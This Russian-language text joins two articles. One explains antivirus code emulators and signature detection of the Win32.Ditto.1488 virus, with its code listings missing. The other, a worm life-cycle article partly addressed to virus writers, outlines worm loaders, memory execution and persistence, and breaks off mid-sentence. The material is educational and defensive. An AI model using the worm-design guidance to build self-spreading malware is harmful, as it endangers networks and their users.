Непосредственное использование эмуляторов программного кода (в антивирусных программах) появилось в начале 90ых. Толчком стал выход первого полноценного полиморфного вируса, точнее сказать полиморфного движка.

Полиморфным движком – называется «универсальный» программный код (библиотека), подключив который в вирус (и не только) можно сделать его полиморфным.

Этот движок назывался просто - MuTation __Engine(MTE). После его выхода антивирусные конторы стали хвататься за голову (особенно американские), некоторые чувствовали, что что-то подобное скоро выйдет, уже обдумывали универсальные методы по детектированию шифрованных вирусов.

Кстати авторомMTE являлся программист из Болгарии, более известный под псевдонимом Dark Avenger. Он же автор культовых вирусов Eddie _и если я не ошибаюсь _Dir так же поделки этого человека. Именно этот человек двигал «прогресс» (в плане разработки новых вирусных технологий) в конце 80ых годов.

Полиморфикам предшествовали шифрованные (иногда их так же называют «само шифрующимися») вирусы, для детектирования которых антивирусы в качестве сигнатур использовали постоянные участки расшифровщиков вирусного кода. Если сигнатура совпадала, то из расшифровщика брались необходимые данные (например, алгоритм шифровки, если он менялся, ключ …) и использовались для расшифровки вирусного кода, затем вторая сигнатура проверяла расшифрованный код на наличие вируса. Однако это очень и очень неудобно, процесс детектирования одного такого вируса занимает много кода, и используя такой тип детектирования шифрованных вирусов для каждого вируса придется иметь две сигнатуры, специальную процедуру по расшифровке … но задумываться об универсальном способе детектирования шифрованных вирусов создатели не хотели, пока … не появился MTE.

Конечно, очень многие полиморфики можно детектировать не эмуляцией кода расшифровщика, а различными алгоритмическими процедурами. Но опять же это очень сложные процедуры, причем они редко дают сто процентный результат определения зараженности файла вирусом, особенно если полиморфность расшифровщика достаточно высока (т.е. расшифровщик имеет очень мало сигнатур или не имеет их вообще). В итоге из 100 файлов зараженных вирусом использующим «слабенький» полиморфный алгоритм, антивирусы обнаруживали только 60 или немного больше (меньше).

Несмотря на геморрой, связанный с таким детектированием многие антивирусные компании решили выбрать этот сложный путь (например, взять ту же McAfee), то время, пока авторы вирусов только учились новой технологии полиморфизма , еще можно было использовать. Но в 1994 году, в Англии (уже не в Болгарии), появляется очень серьезный полиморфный движок SMEG (S imulated M etamorphic E ncryption G enerator). Определять «старым способом» декрипторы созданные по алгоритмам использовавшимся в этом движке практически невозможно, а кроме того нужно еще и расшифровывать вирусное тело, что бы излечить инфицированный файл! Ходили слухи, что английская полиция летом 1995 года, арестовала автора известного под кличкой __Black Baron , за создание опасных вирусов __Pathogen __иQuueg и трех версий полиморфных движковSMEG . Но к этому моменту было уже достаточно умных программистов, способных писать гораздо более продвинутые полиморфики. Примерно в это же время, в Словакии, появляется E xplosion’s M utation M achine (от «культовой» личности – Vyvojar, он же автор знаменитого вируса OneHalf). Немного позже в России (Санкт-Петербурге) появляется Zhengxi, от одноименного автора. Но наилучшей разработкой под DOS (по моему мнению) стал R ed T eam P olymorphy от человека под псевдонимом SoulManager (который был выпущен в 1997 году, с тех пор так и остался «неконкурентоспособным» ;-) ).

Конечно, каждой вирусной технологии можно противопоставить обратную (антивирусную), но теперь факт заключался лишь в том, что хороший полиморфик написать гораздо проще, чем его обнаруживать. Так полиморфики и полиморфные движки стали появляться как грибы после дождя, в результате (к сожалению многих сторонников oldschool) пришлось завязать с алгоритмическим детектированием. Хотя был такой русский антивирус, который просто игнорировал появление полиморфных вирусов. Но это длилось до поры, до времени, пока в Россию не пришел вирус OneHalf, который стал распространяться с бешеной скоростью и этот антивирус оказался бессильным против OH. Позже проект был закрыт, автор антивируса так и не смог (а может, просто не хотел) включить в свое творение эмулятор программного кода.

Затем появился русский Dr. Web. Насколько я знаю, он изначально создавался именно для детектирования полиморфных вирусов, одной из первых процедур в нем был заложен эмулятор кода.

3. Способы эмуляции

Каждый уважающий себя антивирус должен содержать в себе эмулятор. Если мы исключим известные антивирусы и возьмем «кустарные», то я знаю только несколько программ, которые содержали реализацию эмулятора (конечно кривые, убогие, но они работали и достаточно сносно). Это MultiScan (конечно, кустарным, его можно назвать с натяжкой), Lecar (содержал некоторое подобие) и мое творение the_Sweeper. Я смотрел исходные тексты некоторых иностранных программ, но там все детектировалось по плавающим сигнатурам или алгоритмами, иногда (но очень редко) использовали обычную трассировку.

И так преступим к описанию технологии. Эмуляция программного кода означает разбор программного кода на инструкции и имитация их исполнения. Все это может быть выполнено двумя способами.

Первый способ подразумевает собой обычную трассировку программы, т.е. ее загрузку в память и исполнение путем использования отладочного прерывания (int 1). Таким методом пользуется большинство отладчиков, но вся проблема в том, что даже безрукий человек может обломать процесс трассировки. В крайнем случае, есть множество статей на тему облома и TD и SoftIce. А если в полиморфном расшифровщике вставлены антиотладочные трюки, которые в случае обнаружения трассировки запускают какую-нибудь деструкцию. В результате антивирус сам запустит деструкцию в процессе эмуляции и только навредит. Кстати такой способ для детектирования вирусов семейства SMEG , использовал в своем антивирусе американец StormBringer.

Второй способ это непосредственно эмуляция. Кусок кода читается в буфер антивируса, разбирается на инструкции и эмулируется их исполнение с помощью различных трюков. Но что бы правильно имитировать исполнение всех компьютерных заморочек, может понадобиться очень-очень много сил и времени. Однако это более безопасный способ, его обычно и используют в антивирусах, а вполне возможно (на самом деле это горькая правда), что кто-то использует комбинацию этих двух способов.

4. Пример использования технологии

В своем антивирусе “the_Sweeper” я использовал некоторую комбинацию этих двух способов, в результате получилось что-то совсем простенькое и кривое. Но антивирус мог ловить OneHalf, TMC, Pieck Примитивную реализацию алгоритма схожего с тем, что я использовал в антивирусе, представляю на Ваш суд.

Программа пример не работает с файлами, всю необходимую информацию она содержит в себе. Самое главное она обладает некоторыми особенными функциями, которые, взаимодействуя «позволяют» эмулировать код.

Программа состоит из:

• Процедуры (рас)шифровки данных, которая шифрует и расшифровывает текстовую строку.

• Эмулятора программного кода, возможности которого позволяют имитировать выполнение процедуры (рас)шифровки. Эмулятор для своей работы использует некоторое подобие дизассемблера команд, который знает все инструкции используемые в (рас)шифровщике , умеет определять длину, тип и некоторые параметры этих инструкций.

Программа работает по алгоритму:

• Процедура (рас)шифровки вместе с текстом , который она должна шифровать (или расшифровывать) переносится в буфер.

• Эмулятор запускает код, который был перенесен в этот буфер на «псевдоисполнение». В результате текстовая строка , которая также содержалась в этом буфере за процедурой (рас)шифровки будет зашифрована.

• Далее используется процедура (рас)шифровки, которая содержится в программе и расшифровывается _текстовую строку _из буфера (которуа, ранее, была зашифрована эмулятором).

• На экран выводится содержимое текстовой строки,содержащейся в буфере.

Если эмулятор неправильно выполнил свою работу, то текстовая строка окажется зашифрованной неправильно, следовательно оригинальная (которая содержится в буфере) процедура (рас)шифровки не сможет вернуть строку в исходное состояние. Если на экран выведется мусор, все пропало.

[emul.asm]

Вы рассмотрели этот небольшую программу, написана она лишь для примера, однако можно попытаться усовершенствовать и использовать его в «своих» целях. Опытному программисту все покажется очень просто и ясно, скорее всего, Вы уже знали это, только технологию называли другим именем. Если это действительно так, прошу прощения за отнятое время, дальше в этой статье Вы не найдете для себя ничего нового.

Я не претендую на звание специалиста в этой области исследований, но попытаюсь рассказать о некоторых вопросах, которые вполне возможно у Вас возникли после просмотра выше представленных исходных текстов.

4.1. Лирическое отступление

Как становится ясно принцип «создания» эмулятора похож на алгоритм создания полиморфных движков.

При создании инструкций полиморфные движки используют различного рода битовые операции. А в эмуляторе битовые операции используются дизассемблером, для разбора «встречающихся» инструкций (получения данных о размере инструкции, использующихся в ней регистрах и т.д.) и последующей передачи этих данных непосредственно в эмулятор.

Движок _сам генерирует структуру (рас)шифровщиков, в эмуляторе для разбора структуры (не инструкций) кода (причем не обязательно это должен быть (рас)шифровщик) используется «кодо-анализатор ». Но если _движок генерирует структуру по шаблонам, то в «кодо-анализаторе » должно присутствовать некое подобие искусственного интеллекта, т.е. он должен распознавать сотни различных шаблонов кода и не содержать маски этих шаблонов (быть универсальным).

4.2. Имитация исполнения инструкций

Как Вы уже поняли, для имитации исполнения инструкций эмулятор использует три способа:

1. Инструкция запускается «напрямую», но в специальной среде.

2. Исполнение инструкции имитируется полностью, без запуска.

3. Исполнение инструкции имитируется до или после запуска в специальной среде.

Я постараюсь рассказать обо всех трех способах, описав их и представив в качестве примера немного измененные участки выше представленной программы.

4.2.1. Запуск инструкции в специальной среде

Многие инструкции гораздо проще запустить напрямую, специальная имитация может обойтись «дороже». Т.е. будет потеря в скорости работы эмулятора (а это очень щекотливый вопрос), если каждую инструкцию имитировать, то можно писать только эмуляцию инструкций до пенсии. А зачем заниматься ерундой, если можно просто запустить инструкцию и зафиксировать изменения, которые произошли после ее исполнения (в регистрах, стеке, флагах … ).

Для этого необходимо хранить параметры эмулируемого кода в (специальных) переменных, как поступил я (в вышеуказанной программе). Перед запуском инструкции запомнить значения параметров программы-эмулятора и установить параметры эмулируемого кода:

• Значения регистров и флагов из переменных.

• Изменить указатель на буфер стека, что бы стек эмулируемого блока не использовался в ходе работы эмулятора, а только во время исполнения или имитации инструкций блока. В противном случае стек будет портиться.

После запуска инструкции запомнить новые значения и установить значения использовавшиеся эмулятором.

В качестве примера, более подробно рассмотрим участок кода из программы примера:

Для эмуляции стека, в самом начале своей работы (во время инициализации) эмулятор должен установить значение регистра esp эмулируемого блока на конец специально отведенного для этих целей буфера. Например:

4.2.2. Полная имитация исполнения инструкции

Этот алгоритм применяется там, где нельзя обойтись запуском в специальной среде. В программе-эмуляторе из примера, я использовал регистр “esi”, что бы указывать на смещение исполняемой в «данный момент» инструкции. Обычно полностью имитируется (совершаются различные действия, которые и будут являться аналогом работы инструкции) выполнение инструкций, которые изменяют этот указатель, т.е. CALL, JUMP, LOOP, RET и т.д.

Не будем ходить далеко и в качестве примера возьмем простейшую инструкцию LOOP:

Инструкция __LOOP уменьшает значение регистра __ECX на единицу, если после этого значение ECX не равняется нулю, то переводит указатель на указанную позицию.

4.2.3. Комбинация двух способов

Существуют такие, инструкции, которые просто выполнить в «карантине» нельзя, да и полностью имитировать их совсем не обязательно (точнее сказать, выйдет «дороже»). Для работы с такими инструкциями используется комбинация из двух вышеописанных способов.

В программе-примере присутствует один тип инструкции, которая имитируется этим способом:

xor dword ptr [ erega],? и ее аналог xor dword ptr [erega], eregb

Почему же эти инструкции требуют комбинированного способа имитации? Все очень просто и логично… При расшифровке данных, (в «декрипторах») используются регистры, указывающие на смещение расшифровываемых данных. Этот регистр может меняться в процессе расшифровки, таких регистров может быть несколько, все зависит от полиморфного алгоритма , который используется. Когда для эмуляции мы копируем в «свой» буфер код расшифровщика и зашифрованные данные, то соответственно смещение зашифрованного кода меняется, но в расшифровщике будет указанно предыдущее его расположение. Да, эту инструкцию можно запустить напрямую. Но , прежде всего, нужно исправить значение этого (в данном случае erega) регистра, на новое, которое будет указывать «правильное» местоположение зашифрованных данных в буфере.

Для процесса расчета нового местоположения зашифрованного кода в буфере, я использовал следующий подход. Прежде всего, необходимо знать, что в нашем случае:

1. Дизассемблер разбирает инструкцию, и после его работы передает информацию о размере инструкции и регистрах, которые используются ней в программу-эмулятор. В нашем случае регистр edx будет содержать номер регистра erega , а eax номер eregb.

2. Значения регистров эмулируемого кода содержится в буфере regs , под каждый регистр дается по 4 байта буфера. Последовательность регистров: eax, ecx, edx, ebx, esp, ebp, esi и edi.

3. При вызове эмулятора, ему передается предыдущее расположение эмулируемого кода в памяти (переменная ip)!

Замена может быть лишней, если декриптор содержит в себе процедуру определения ip. Процедура, которая предназначена для этих целей, выглядит примерно так:

Если прибавить значение регистра ebp , к любому смещению получается «необходимое» нам, новое (смещение).

Теперь рассмотрим участок кода, который производит замену значения регистра использующегося в инструкции для указания смещения (если, конечно же, замена необходима):

Теперь установив в регистр новое значение, можно (смело) запускать инструкцию на выполнение.

Конечно, есть еще множество инструкций такого плана, их имитация не была реализована мной в примере, но процесс их имитации почти полностью будет совпадать с описанным выше.

4.3. Поворот не туда

В том случае, если эмулятор разрабатывается специально для использования в антивирусной программе, то его (эмулятора) основной целью становится «раскрутка» (имитация выполнения) участков дешифрующих код (зашифрованный или упакованный). Т.е. эмулятор должен любыми целями добиться расшифровки вирусного кода, для этого необходимо обращать максимум внимания на инструкции (непосредственно) дешифрующие код. Эти инструкции должны разбираться дизассемблером и исполняться эмулятором , в отдельном (специальном) порядке.

Допустим, в дешифрующей инструкции, для указания положения расшифровываемых данных используется сразу два и более регистра. Такие случаи встречаются достаточно часто, как в само шифрующихся вирусах, так и в полиморфных. Следовательно, я не могу оставить этот вопрос не освещенным хотя бы в общих чертах.

Как же правильно разобрать и имитировать исполнение таких инструкций? В качестве примера рассмотрим простейшую реализацию, простейшего случая. Возьмем инструкцию типа:

xor byte ptr [erega +eregb],reg

“reg ” является любым 8-битным регистром, что это конкретно за регистр и каково его значение, нас вообще мало интересует. Это утверждение правдиво (истина), только в нашем случае, так как разработкой анализатора кода мы пока не занимаемся (точнее сказать не занимаемся на должном уровне). _Больше интересует комбинация регистров _erega и eregb , так как их неверное (в совокупности) значение может помешать процессу расшифровки идти в правильном направлении (смотри пункт 4.2.3)!

Итак, прежде всего дизассемблер должен уделять особое внимание разбору дешифрующих инструкций, особенно инструкций такого типа (в которых используется несколько индексных инструкций). Вся информация, полученная дизассемблером об этой инструкции, используется эмулятором для имитации выполнения инструкции.

4.3.1. Дизассемблер

Инструкция попала на разделочный стол нашего дизассемблера. Нам необходимо убедиться действительно ли перед нами та самая инструкция , которая требует особенного разбора.

Прежде всего, проверим первый байт инструкции, она должна начинаться на 030 HEX.

Размер инструкции этого типа составляет три байта. Рассмотрим структуру этой инструкции в двоичной системе счисления, для удобства:

Нам необходимо получить следующие данные:

1. Количество регистров, использующихся в дешифрующей инструкции для указания положения расшифровываемых данных.

2. Значения этих регистров.

Для этого объявим переменную, которая будет содержать эти данные после работы дизассемблера. Данными этой переменной и будет пользоваться эмулятор , имитируя исполнения этой инструкции.

Процесс разбора инструкции может выглядеть примерно так:

Теперь Мы имеем всю информацию, необходимую эмулятору для имитации исполнения инструкции.

4.3.2. Эмулятор

Основы имитации выполнения инструкций подобного типа были описаны в 4.2.3 , по этому повторяться я не буду.

В данном случае процесс имитации будет состоять из трех частей и выглядеть примерно так:

Я думаю в этом случае все элементарно просто, только в простоте преимущество этого способа, так же есть много маленьких и одно большое НО. В ходе эмуляции антивирусом, смещение расшифровываемого кода содержит всего один регистр, а остальные обнуляются. Этим вполне может воспользоваться вирус, вставив инструкции по проверке содержимого регистров где-то в расшифровщике, между мусорными (инструкции, которые не принимают участие в расшифровке кода) или «рабочими» (инструкции которые принимают непосредственное или «косвенное» участие в расшифровке кода) инструкциями. Таким образом, вирус может определить, что его пытается расшифровать (конкретный) антивирус и попытаться обманут антивирус (послав куда подальше, по «ложному пути») или обратиться к деструкции.

Для решения проблем такого рода, необходимо разрабатывать «мощный» анализатор кода, который будет определять какой регистр, для чего и где используется, по какому алгоритму меняется, что собой представляет дешифрующий цикл и т.д.

4.4. «Предел терпения» ( Enough)

Как программе-эмулятору определить, когда прекратить свою работу? Если забыть про этот важнейший вопрос, то эмулятор может просто зациклиться или работать с файлами очень долго.

Можно завершать работу:

1. При встрече неизвестной инструкции

2. Исполнив определенное количество инструкций

3. При выходе за пределы определенной границы (смещения)

4. Давать эмулятору поработать с кодом определенное время (в миллисекундах)

5. Встретив участок кода, полностью или частично совпадающий с вирусной сигнатурой или похожий на вирусный код

Я использовал способы 1 и 3, именно для этого я вставил в (рас)шифровщик инструкцию nop , которую эмулятор не понимает и соответственно на ней прекращает свою работу.

Именно эти способы удобны для написания маленьких эмуляторов, под конкретную цель, но если разрабатывать серьезный (универсальный) проект, то следует использовать комбинацию из всех (или нескольких) вышеописанных способов или придумывать что-то свое, новое.

5. Пример использования технологии для детектирования вирусов

Теперь рассмотрим, как можно использовать этот (представленный в примере) эмулятор, для детектирования вирусов.

Программа пример, которая представлена выше, не приспособлена для детектирования вирусов, так как в ней отсутствует анализатор кода , который используется для детектирования известных (антивирусной программе) вирусов или вирусов нового типа.

В качестве «жертвы», я взял один из простейших шифрованных вирусов – Win32.Ditto.1488. Исходные тексты этого вируса были, опубликованы в журнале Duke's Virus Labs номер 10. Они доступны в архиве, прилагающемся к этой статье, так же доступны исполняемые файлы, зараженные этим «вирусом».

Чем же отличается программа для детектирования вируса, от программы примера? Практически ничем, она лишь содержит процедуры для разбора файлов, формата PE и процедуру для определения, наличия вируса в файле (примитивнейшую реализацию анализатора программного кода).

Программа детектирования состоит из:

• Основной программы, которая определяет точку входа в указанном PE-файле. Читает данные, находящиеся в точке входа и запускает их на эмуляцию.

• Эмулятора (и дизассемблера) использовавшегося в программе-примере, с минимальными отличиями (для совместной работы с анализатором).

• Анализатора программного кода - процедуры детектирования вирусного кода, встроенной в эмулятор.

В статье я не буду приводить исходные тексты программы, они так же доступны в архиве, прилагающемся к статье. Так как я считаю, что делать это (приводить полный исходный текст программы, составные части которой почти полностью совпадают с программой-примером, представленным выше) бессмысленно, по этому приведу участки кода, которые используются для детектирования вирусного кода в ходе эмуляции.

5.1. Кодо-анализатор

Как я уже упоминал раньше, кодо-анализатор предназначен для учета особенностей кода исследуемого (эмулируемого) участка. Анализатор может быть отдельной частью антивируса, но вполне может, является частью эмулятора, работая в паре, они будут более «успешно действовать».

Наиболее низкой реализацией этой технологии является анализ сигнатур, т.е. участков кода и их сравнение с известными вирусными сигнатурами. Для детектирования известного программе вируса достаточно именно обычного сравнения участка кода с конкретной (вирусной) сигнатурой.

Вообще алгоритмы технологии кодо-анализатора заслуживают отдельной статьи, именно по этому я выполнил ее на самом низком уровне, однако как не странно этот процесс (сравнения сигнатур) входит в технологию антивирусного анализа кода.

Итак, преступим к описанию кодо-анализатора , который представлен в примере «антивируса» и позволяет определять наличие вируса в исполняемых файлах формата PE.

Работает цикл имитации исполнения инструкций (он же эмулятор):

Процедура detect в нашем случае и является кодо-анализатором , она « анализирует » является ли код в позиции esi вирусным, т.е. совпадает с сигнатурой вируса Win32.Ditto.1488.

Эмулятор постепенно расшифровывает вирусный код, и, в конце концов, переходит к исполнению кода из расшифрованного вирусного тела.

• Следовательно , если знать значение постоянного блока (хотя бы из 8 байт) расположенного в начале расшифрованного вирусного тела, то можно принять его за сигнатуру.

• Когда кодо-анализатор (во время работы эмулятора) встретит участок кода полностью схожий с сигнатурой, можно считать что программа содержит известный вирус.

Собственно текст процедуры «кодо-анализатора » представлен ниже:

Флаг “ill_ mark ” представляет собой обычную переменную размером один байт. После завершения работы эмулятора, главная программа проверяет значение этой переменной, если оно равно единице, значит во время работы эмулятора, кодо-анализатор обнаружил вирусный код в файле. Иначе файл здоров.

Естественно, что в качестве вирусных сигнатур нельзя использовать такие маленькие участки кода (размером 8 байт), как сделал я. Но в качестве примера подойдет. Сигнатуры так же должны быть плавающими , т.е. берется несколько байт в начале вирусного кода, потом пропускается определенное количество (что должно быть отражено в сигнатуре, и правильно распознаваться анализатором), потом опять следует небольшой участок кода и так далее. Антивирусы так же используют в сигнатурах контрольные суммы участков.

Если сигнатура состоит из 20 байт, и совпали только 18, или немного меньше … то вполне возможно, что Нам попалась модификация уже известного вируса. Можно (даже нужно) оповестить об этом пользователя.

6. Заключение

К статье прилагаются исходные тексты:

• Программы-примера эмуляции кода, с тем лишь небольшим различием, что добавлены функции работы с консолью.

• «Антивируса» предназначенного для детектирования вируса Win32. Ditto.1488 (по классификации AVP) в файлах формата PE.

• Исходный код вируса Win32. Ditto.1488(он же Win32. Demo.1488) и PE-файлы инфицированные (зараженные) этим вирусом (расширение файлов было изменено, чтобы избежать вероятности случайного распространения вируса).

Скачать (находится в архиве wasm_files.zip: files/recovered/304/av_emul.zip)

В 1001 раз повторюсь, что все представленное выше всего лишь моим представлением о технологии эмуляции программного кода. Вполне возможно я заблуждаюсь в некоторых моментах технологии или вообще во всем, что касается ее. Я ничего не утверждаю, просто предполагаю.

Если Вы заинтересовались разработкой антивирусов, очень советую почитать русские антивирусные журналы «Земский Фершал», в которых можно встретить множество интересной информации.

Вполне возможно, что будут появляться мои разработки на эту тему, но не в виде статей, а в виде исходных текстов.

_– Червь придет обязательно?

– Обязательно.

Френк Херберт, "Дюна"_

Червями принято называть сетевые вирусы, проникающие в зараженные машины вполне естественным путем, без каких-либо действий со стороны пользователя. Они ближе всех остальных вирусов подобрались к модели своих биологических прототипов и потому чрезвычайно разрушительны и опасны. Их не берут никакие превентивные меры защиты, антивирусные сканеры и вакцины до сих пор остаются крайне неэффективными средствами борьбы. Нашествие червей нельзя предвидеть и практически невозможно остановить. Но все-таки черви уязвимы.

Чтобы одолеть червя, вы должны знать структуру его программного кода, основные повадки, наиболее вероятные алгоритмы внедрения и распространения. Сеть Интернет в целом и операционные системы в частности – это настоящий лабиринт, и вам понадобится его подробная карта с отметками секретных троп и черных ходов, используемых червями для скрытого проникновения в нервные узлы жертвы. Все это и много другое вы найдете в статье

"Жизненный цикл червей"

В те минуты, когда пишутся эти строки, в левом нижнем углу компьютера лениво мигает глазок персонального брандмаузера, фильтрующего пакеты, приходящие по сотовому телефону через GPRS (между прочим, очень хорошая штука – рекомендую!). Эпизодически – не чаще чем три-пять раз в день ‑ в систему пытается проникнуть червь Love San (или что-то очень на него похожее), и тогда брандмаузер выбрасывает на экран следующее окно (см. рис. 1). Та же самая картина наблюдается и у двух других моих провайдеров.

И хотя активность червя неуклонно снижается (пару месяцев назад атака происходила буквальные каждый час-полтора), до празднования победы еще далеко. Червь жил, живет и будет жить! Вызывает уважение тот факт, что автор червя не предусмотрел никаких деструктивных действий, в противном случае ущерб оказался невосполнимым, и всей земной цивилизации сильно поплохело бы.

А сколько дыр и червей появится завтра? Было бы наивно надеяться, что этой статьей можно хоть что-то исправить, поэтому после долгих колебаний, сомнений и размышлений я решил ориентировать ее не только на системных администраторов, но и на… вирусописателей. А что, давал же Евгений Касперский советы авторам вирусов, предваряя свою статью такими словами: "Успокойтесь! Не надо готовить ругательства или, наоборот, потирать руки. Мы не хотим делиться своими идеями с авторами компьютерных вирусов. Все значительно проще – через наши руки прошло несколько сотен образцов компьютерных животных, и слишком часто в них встречались одни и те же ошибки. С одной стороны, это хорошо – такие вирусы часто оказываются "маложивущими", но с другой стороны, малозаметная ошибка может привести к несовместимости вируса и используемого на компьютере программного обеспечения. В результате вирус "вешает" систему, компьютер отдыхает, а пользователи мечутся в панике с криками: "Пусть хоть 100 вирусов, лишь бы компьютер работал!!!" (завтра сдавать заказ, не запускается самая любимая игрушка, компилятор виснет при выходе в DOS и т. п.). И все это происходит при заражении довольно безобидным вирусом. По причине этого и возникло желание поделиться некоторой информацией о жизни вируса в компьютере, дабы облегчить жизнь и вам, и многочисленным "пользователям" ваших вирусов"

Черви, если только в них не заложены деструктивные возможности, не только вредны, но и полезны. Вирусы ‑ это вообще юношеская болезнь всех или практически всех программистов. Что ими движет? Желание навредить? Стремление самоутвердиться в чьих-то глазах? А может быть простой познавательный интерес? Разумеется, если червь положил весь Интернет, его создатель должен ответить. Данная статья – не самоучитель по написанию червей. Скорее, это – детальный анализ ошибок, допущенных вирусописателями.

Я не призываю вас писать червей. Напротив, я призываю одуматься и не делать этого. Но, если уж вам действительно невтерпеж, пишите тогда по крайней мере так, чтобы ваше творение не мешало жить и трудиться всем остальным. Аминь!

Рисунок 1 кто-то упорно ломиться на 135 порт, содержащий уязвимость…

_– А-а, черви. Я должен как-нибудь увидеть одного из них.

– Может быть, вы и увидите его сегодня.

Френк Херберт, "Дюна"_

Рисунок 2 черви атакуют! и ни что не сможет ни остановить, ни сбить их с пути

Если кто и разбирается в червях, так это Херберт. Ужасные создания, блестяще описанные в "Дюне", и вызывающие у читателей смесь страха с уважением, – они действительно во многом похожи на одноименных обитателей кибернетического мира. И пока специалисты по информационной безопасности ожесточенно спорят, являются ли черви одним из подклассов вирусных программ или же образуют вполне самостоятельную группу вредоносных "организмов", черви успели перепахать весь Интернет и продолжают зарываться в него с бешеной скоростью. Удалить же однажды зародившегося червя практически невозможно. Забудьте о Черве Морриса! Сейчас не то время, не те пропускные способности каналов и не та квалификация обслуживающего персонала. В далеких восьмидесятых с заразой удалось справиться лишь благодаря небольшой (по современным меркам!) численности узлов сети и централизованной организации структуры сетевого сообщества.

А что мы имеем сейчас? Количество узлов сети вплотную приближается к четырем миллиардам, причем подавляющим большинством узлом управляют совершенно безграмотные пользователи, и лишь незначительная часть сетевых ресурсах находится в руках администраторов, зачастую являющихся все теми же безграмотными пользователями, с трудом отличающими один протокол от другого и во всем полагающимися на Microsoft и NT, которая "все за них сделает". Что такое заплатки некоторые из них, возможно, и знают, но до их установки дело, так или иначе, сплошь и рядом не доходит.

Можно до потери пульса проклинать Святого Билла и его корявое программное обеспечение, но проблема вовсе не в дырах, а в халатном отношении к безопасности и откровенном разгильдяйстве администраторов. Что касается программистских ошибок, то в мире UNIX ситуация обстоит ничуть не лучшим образом. Здесь тоже водятся черви, пускай не впечатляющие численностью своих штаммов, зато отличающиеся большой изощренностью и разнообразием. Здесь также случаются вспышки эпидемий, насчитывающие тысячи и даже десятки тысяч жертв (достаточно вспомнить червей Scalper'а и Slapper'a, поражающих Apache-сервера, вращающиеся под управлением FreeBSD и Linux соответственно). Конечно, по сравнению с миллионами упавших Windows-систем эти цифры выглядят более чем умеренными, однако легендарная защищенность (точнее как раз таки незащищенность) UNIX'а тут совсем не причем. Просто UNIX-системы управляются намного более грамотными операторами, чем Windows NT.

Никто не гарантирован от вторжения и всемирная сеть действительно находится в большой опасности. Просто, по счастливому стечению обстоятельств, все предыдущие черви были довольно беззлобными созданиями и ущерб от их размножения скорее носил косвенный, чем прямой характер, но и в этом случае он измерялся многими миллионами долларов и долгими часами полного или частичного полегания сети. У нас еще есть время на то, чтобы извлечь хороших урок из случившегося и кардинальным образом пересмотреть свое отношение к безопасности, поэтому не будем больше терять время на бесполезные философствования и приступим к стрежневой теме данной статьи.

_Те экземпляры червей, которые мы изучали, заставили нас предполагать, что внутри них происходит сложный химический обмен.

Френк Херберт, "Дюна"_

Условимся называть червем компьютерную программу, обладающую репродуктивными навыками и способную к самостоятельному перемещению по сети. Попросту говоря, червь – это нечто такое, что приходит к вам само и захватывает управление машиной без каких-либо действий с вашей стороны. Для внедрения в заражаемую систему червь может использовать различные механизмы: дыры, слабые пароли, уязвимости базовых и прикладных протоколов, открытые системы и человеческий фактор (см. "механизмы распространения червей.").

Нора, прорытая вирусом в системе, обычно оказывается слишком узка, чтобы вместить всего червяка целиком. Ну разве что это будет совсем крохотный и примитивный вирус, поскольку ширина типичной норы измеряется десятками или в лучшем случае сотнями байт. Поэтому сначала на атакуемую машину проникает лишь небольшая часть вируса, называемая головой или загрузчиком, которая и подтягивает основное тело червя. Собственно говоря, голов у вируса может быть и несколько. Так, достопочтенный вирус Морриса имел две головы, одна из которых пролезала через отладочный люк в sendmail, а другая проедала дыру в finger'е, поэтому создавалось обманчивое впечатление, что сеть атакуют два различных червя. Естественно, чем больше голов имеет вирус, тем он жизнеспособнее. Современные черви в своем подавляющем большинстве обладают одной-единственной головой, однако из этого правила случаются и исключения. Так, при дизассемблерном вскрытии червя Nimda (слово "admin", читаемое задом наперед) на его теле было обнаружено пять голов, атакующих клиентов электронной почты, shared-ресурсы, Web-браузеры, MS IIS-сервера и backdoor'ы, оставленные вирусом Code Red. Такие многоголовые монстры скорее напоминают сказочных драконов или гидр, поскольку червь с несколькими головами смотрится прямо так скажем жутковато, но… в кибернетическим мире свои законы.

Вирусный загрузчик (обычно отождествляемый с shell-кодом, хотя это не всегда так) решает по меньшей мере три основные задачи: во-первых, он адаптирует свое тело (и при необходимости основное тело червя) к анатомическим особенностям организма жертвы, определяя адреса необходимых ему системных вызовов, свой собственный адрес размещения в памяти, текущий уровень привилегий и т. д. Во-вторых, загрузчик устанавливает один или несколько каналов связи с внешним миром, необходимых для транспортировки основного тела червя. Чаще всего для этого используется TСP/IP-соединение, однако червь может воспользоваться услугами FTP- и/или POP3/SMTP-протоколов, что особенно актуально для червей, пытающихся проникнуть в локальные сети, со всех сторон огороженные сплошной стеной Firewall'ов. В-третьих, загрузчик забрасывает хвост вируса на зараженный компьютер, передавая ему бразды правления. Для сокрытия факта своего присутствия загрузчик может восстановить разрушенные структуры данных, удерживая систему от падения, а может поручить это основному телу червя. Выполнив свою миссию, загрузчик обычно погибает, поскольку включить в тело вируса копию загрузчика с инженерной точки зрения намного проще, чем собирать вируса по частям.

Однажды получив управление, червь первым делом должен поглубже зарыться в грунт системы, втянув свой длинный хвост внутрь какого-нибудь неприметного процесса и/или файла. А зашифрованные (полиморфные) вирусы должны себя еще и расшифровать/распаковать (если только эту операцию не выполнил за них загрузчик).

Впрочем, червь может вести и кочевую жизнь, автоматически удаляя себя из системы по прошествии некоторого времени – это добавляет ему скрытности и значительно уменьшает нагрузку на сеть. При условии, что поражаемый сервис обрабатывает каждое TCP/IP соединение в отдельном потоке (а в большинстве случаев дело обстоит именно так), червю будет достаточно выделить блок памяти, присвоить ему атрибут исполняемого и скопировать туда свое тело (напрямую перебросить хвост в адресное пространство потока жертвы нельзя, т. к. сегмент кода по умолчанию защищен от записи, а сегмент данных по умолчанию запрещает исполнение[1], остается стек и куча; стек чаще всего исполняем по дефлоту, а куча – нет, и для установки атрибута Executable червю приходится химичить с системными функциями менеджера виртуальной памяти). Если же голова червя получает управление до того, как уязвимый сервис создаст новый поток или успеет расщепить процесс вызовом fork, червь должен обязательно возвратить управление программе-носителю, в противном случае та немедленно ляжет и получится самый натуральный DoS. При этом полный возврат управления предполагает потерю власти над машиной, а значит и смерть червя. Чтобы не уронить систему, но и не лишиться жизни самому, червь должен оставить свою резидентную копию или, в более общем случае, – модифицировать систему так, чтобы хотя бы изредка получать управление. Это легко. Первое, не самое удачное, зато элементарно реализуемое решение заключается в создании нового файла с последующим добавлением его в список автоматически запускаемых программ. Более изощренные черви внедряют свое тело в подложную динамическую библиотеку и размещают ее в текущем каталоге уязвимого приложения (или просто в каталоге любого более или менее часто запускаемого приложения). Еще червь может изменить порядок загрузки динамических библиотек или даже 